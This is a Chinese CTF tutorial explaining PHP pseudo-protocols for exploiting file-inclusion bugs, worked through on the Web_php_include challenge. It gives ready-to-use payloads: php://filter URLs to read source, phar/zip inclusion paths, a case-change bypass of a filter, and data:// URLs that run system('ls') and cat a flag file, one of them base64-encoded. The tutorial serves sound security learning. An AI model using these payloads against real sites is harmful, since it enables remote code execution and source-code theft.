一、伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
以下举例一些比较常用的伪协议及用法
1.1 php://input
可以用于执行php代码,通过post请求提交我们的代码
这里给一个攻防世界Web_php_include的例子
$page=str_replace("php://", "", $page);这里把page参数里的php://替换成了空格,我们需要绕过它
用php://input执行ls命令查看文件,php用大小写来绕过
结果如下:(chrome我一直post失败,所以这是用火狐的插件执行的post的结果)
知道文件名了岂不是轻轻松松,直接post:
得到flag:
1.2 php://filter
用于读取源码,通过get请求提交参数。它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。
名称
描述
resource=<要过滤的数据流>
这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表>
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链
常用形式:
?a=php://filter/read=convert.base64/resource=xxx.php
iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.<input-encoding>.<output-encoding>或者convert.iconv.<input-encoding>/<output-encoding>,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码
例如:
?a=php://filter/read=convert.iconv.utf-8.utf-16/resource=xxx.php
即输入utf-8编码,输出utf-16编码
1.3 zip、phar伪协议
用于读取压缩包中的文件
常用格式:
/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php
1.4 file:// 文件协议
常用格式:
file://[本地文件系统的绝对路径]
例如:
?file=file://D:/Server/htdocs/emlog/phpinfo.txt
1.5 data协议
常用格式:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例如:
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
依旧以上面那个ctf的题为例
直接使用data协议执行命令
?page=data://text/plain,<?php%20system("ls")?>
?page=data://text/plain,<?php%20system("cat%20fl4gisisish3r3.php")?>
拿到flag
版权归原作者 RexHarrr 所有, 如有侵权,请联系我们删除。